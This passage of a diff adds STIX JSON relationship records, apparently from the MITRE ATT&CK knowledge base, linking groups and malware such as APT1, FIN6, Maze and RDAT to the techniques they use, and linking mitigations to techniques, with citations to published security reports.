"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e82e75df-12f9-4d95-b653-dd71a519524f", + "description": "(Citation: SentinelOne Lazarus macOS July 2020)", + "target_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", + "modified": "2020-08-10T14:45:34.595Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T14:45:34.595Z", + "external_references": [ + { + "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", + "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020.", + "source_name": "SentinelOne Lazarus macOS July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ff397dfb-a231-423f-8be0-be01eb2c9d4d", + "description": "Periodically review user accounts and remove those that are inactive or unnecessary. Limit the ability for user accounts to create additional accounts.", + "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", + "modified": "2021-10-18T17:48:06.357Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-08-10T14:56:56.689Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8ec92ea1-6021-4e0f-9737-826e9f243830", + "description": "[StrongPity](https://attack.mitre.org/software/S0491) has a file searcher component that can automatically collect and archive files based on a predefined list of file extensions.(Citation: Bitdefender StrongPity June 2020)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-08-10T19:52:05.778Z", + "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-10T19:52:05.778Z", + "external_references": [ + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", + "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.", + "source_name": "Bitdefender StrongPity June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8b9e5b99-2df6-47b4-9c97-9bf8dd01821d", + "description": "Routinely check user permissions to ensure only the expected users have the ability to list IAM identities or otherwise discover cloud accounts.", + "target_ref": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", + "modified": "2021-03-16T12:54:41.385Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-08-11T13:13:12.320Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e73bf2f8-b009-4555-8fda-3407fa87c812", + "description": "Limit permissions to discover cloud accounts in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.", + "target_ref": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", + "modified": "2021-03-16T12:54:41.391Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-08-11T13:13:12.311Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49d50fde-cfbc-4007-befc-f4b22b9bc9f5", + "description": "[RDAT](https://attack.mitre.org/software/S0495) can take a screenshot on the infected system.(Citation: Unit42 RDAT July 2020)\t", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-08-11T21:15:35.458Z", + "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-11T21:15:35.458Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", + "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020.", + "source_name": "Unit42 RDAT July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--63b6fd1d-65a7-4c94-8045-16fd198802f1", + "description": "[RDAT](https://attack.mitre.org/software/S0495) can deobfuscate the base64-encoded and AES-encrypted files downloaded from the C2 server.(Citation: Unit42 RDAT July 2020)\t", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-08-11T21:15:35.488Z", + "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-11T21:15:35.488Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", + "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020.", + "source_name": "Unit42 RDAT July 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cfff835f-4c2b-4c90-b316-3807796269fc", + "description": "[RDAT](https://attack.mitre.org/software/S0495) can exfiltrate data gathered from the infected system via the established Exchange Web Services API C2 channel.(Citation: Unit42 RDAT July 2020)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2020-08-11T21:46:03.607Z", + "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-08-11T21:15:35.490Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", + "description": "Falcone, R. (2020, July 22). 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(2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020.", + "source_name": "MalwareBytes Ngrok February 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--73c2a491-9da5-465a-be3f-bc5efb0fad6d", + "description": "[Ngrok](https://attack.mitre.org/software/S0508) can tunnel RDP and other services securely over internet connections.(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes Ngrok February 2020)(Citation: Trend Micro Ngrok September 2020)", + "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "modified": "2020-09-15T14:56:31.224Z", + "source_ref": "malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-09-15T14:24:03.093Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "description": "Kennelly, J., Goody, K., Shilko, J. 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Retrieved September 15, 2020.", + "source_name": "MalwareBytes Ngrok February 2020" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/i/analysis-of-a-convoluted-attack-chain-involving-ngrok.html", + "description": "Borja, A. Camba, A. et al (2020, September 14). Analysis of a Convoluted Attack Chain Involving Ngrok. Retrieved September 15, 2020.", + "source_name": "Trend Micro Ngrok September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3e323fb-c4c6-4cbd-826e-b472645f378e", + "description": "[Ngrok](https://attack.mitre.org/software/S0508) can be used to proxy connections to machines located behind NAT or firewalls.(Citation: MalwareBytes Ngrok February 2020)(Citation: Zdnet Ngrok September 2018)", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "modified": "2020-09-29T20:46:04.783Z", + "source_ref": "malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-09-15T14:24:03.125Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngrok-server/", + "description": "Segura, J. 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Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.", + "source_name": "Zdnet Ngrok September 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87ca16c5-1d11-4dca-b127-b23365e4f66f", + "description": "[Ngrok](https://attack.mitre.org/software/S0508) can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.(Citation: Zdnet Ngrok September 2018)", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2020-09-15T14:56:31.197Z", + "source_ref": "malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-09-15T14:56:31.197Z", + "external_references": [ + { + "url": "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/", + "description": "Cimpanu, C. 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Retrieved September 17, 2020.", + "source_name": "Microsoft Disable VBA Jan 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ddff2aa4-975a-4a89-9c1d-b0a4b3a07b63", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2020-09-17T12:51:40.982Z", + "source_ref": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-09-17T12:51:40.982Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b8bdc58-cfb9-4841-94e9-421b9e08f44f", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a brute-force/password-spray tooling that operated in two modes: in brute-force mode it typically sent over 300 authentication attempts per hour per targeted account over the course of several hours or days.(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) [APT28](https://attack.mitre.org/groups/G0007) has also used a Kubernetes cluster to conduct distributed, large-scale password guessing attacks.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", + "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", + "modified": "2021-07-27T13:17:43.325Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-09-18T21:44:21.368Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", + "description": "Microsoft Threat Intelligence Center (MSTIC). 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Retrieved September 16, 2019.", + "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--23749a96-a086-4e14-b6c1-44bc9c7d99c1", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has collected schemas and user accounts from systems running SQL Server.(Citation: Visa FIN6 Feb 2019)", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "modified": "2020-10-09T13:47:23.614Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-09T13:47:23.614Z", + "external_references": [ + { + "source_name": "Visa FIN6 Feb 2019", + "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", + "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d6cb7440-c39c-4bc2-b30e-5264a7f8753c", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit Bind and Reverse TCP stagers.(Citation: Trend Micro FIN6 October 2019)", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-10-09T14:23:34.744Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-09T14:23:34.744Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html", + "description": "Chen, J. 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Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dcd5b361-b86b-47c7-8ce8-85918e00a224", + "description": "[Maze](https://attack.mitre.org/software/S0449) has stopped SQL services to ensure it can encrypt any database.(Citation: Sophos Maze VM September 2020) ", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "modified": "2020-10-09T16:24:39.921Z", + "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-09T16:24:39.921Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020.", + "source_name": "Sophos Maze VM September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1075f27d-8675-4819-b23b-50d390092c95", + "description": "[Maze](https://attack.mitre.org/software/S0449) has created a file named \"startup_vrun.bat\" in the Startup folder of a virtual machine to establish persistence.(Citation: Sophos Maze VM September 2020)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-10-09T17:02:21.689Z", + "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-09T16:24:39.935Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. 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(2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. 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(2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. 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Retrieved May 28, 2021.", + "source_name": "MSTIC NOBELIUM May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dd3eb448-d9b3-4e25-b6ad-3992eee64ea8", + "description": "Limit user access to system utilities such as 'systemctl' or 'systemd-run' to users who have a legitimate need.", + "target_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", + "modified": "2021-07-27T16:43:25.179Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-12T17:50:31.745Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2c6c988d-d843-4dc0-82be-b504e3c3a39c", + "description": "Restrict read/write access to systemd .timer unit files to only select privileged users who have a legitimate need to manage system services.", + "target_ref": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", + "modified": "2021-07-27T16:43:25.176Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-12T17:50:31.748Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e8001e2b-a639-458e-98f1-816a58830562", + "description": "Limit access to the root account and prevent users from creating and/or modifying systemd timer unit files. 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(2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c1c2c530-a2d2-4c2f-bcff-ceda0277de59", + "description": "[APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", + "modified": "2020-10-13T01:26:50.637Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-13T01:26:50.637Z", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--41ca57db-9736-4adf-ac5d-ea2be2ab4860", + "description": "[APT17](https://attack.mitre.org/groups/G0025) has created profile pages in Microsoft TechNet that were used as C2 infrastructure.(Citation: FireEye APT17)", + "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "modified": "2020-10-13T22:33:14.086Z", + "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-13T22:33:14.086Z", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fd9834dc-0323-408b-b217-3f3aa27b50ac", + "description": "[APT17](https://attack.mitre.org/groups/G0025) has created and cultivated profile pages in Microsoft TechNet. To make profile pages appear more legitimate, [APT17](https://attack.mitre.org/groups/G0025) has created biographical sections and posted in forum threads.(Citation: FireEye APT17)", + "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", + "modified": "2020-10-13T22:33:14.133Z", + "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-13T22:33:14.133Z", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a60c0123-95a3-4409-a60e-354e4237d6cb", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has created fake LinkedIn profiles that included profile photos, details, and connections.(Citation: Dell Threat Group 2889)", + "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", + "modified": "2020-10-13T22:37:00.995Z", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-13T22:37:00.995Z", + "external_references": [ + { + "source_name": "Dell Threat Group 2889", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5bc68652-1d99-4782-80bd-086fc7f8358c", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing hyperlinks to malicious files.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2020-10-14T00:44:35.219Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-14T00:44:35.219Z", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--de4ae50a-0561-4d01-885a-eab60008d5eb", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has sent spearphishing emails containing malicious attachments.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2020-10-14T00:44:35.257Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-14T00:44:35.257Z", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9b14bfc1-2c78-4ec9-ad02-aeed6f1cf83e", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has created email accounts for later use in social engineering, phishing, and when registering domains.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", + "modified": "2020-10-14T00:44:35.270Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-14T00:44:35.270Z", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9319fb2f-88df-4195-a42e-2a6a983a4840", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware.(Citation: Unit 42 BackConfig May 2020)", + "target_ref": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", + "modified": "2020-10-14T20:39:49.553Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-14T20:39:49.553Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ac4beabf-1644-4386-b34a-ebfc6e3bd3b0", + "description": "Disable unnecessary metadata services and restrict or disable insecure versions of metadata services that are in use to prevent adversary access.(Citation: Amazon AWS IMDS V2)", + "target_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", + "modified": "2021-03-31T19:41:07.180Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-14T22:00:11.515Z", + "external_references": [ + { + "url": "https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/", + "description": "MacCarthaigh, C. (2019, November 19). Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service. Retrieved October 14, 2020.", + "source_name": "Amazon AWS IMDS V2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7dbfb31d-8ac7-44c5-ad9b-f22e07e95d7e", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.(Citation: Cylance Cleaver)", + "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "modified": "2021-04-21T16:41:35.246Z", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T00:52:01.922Z", + "external_references": [ + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f82e6303-3524-42e1-8f43-fa1bb4303c7e", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used privately developed and customized remote access tools.(Citation: McAfee Night Dragon)", + "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "modified": "2021-06-16T15:50:05.561Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-15T00:54:00.812Z", + "external_references": [ + { + "url": 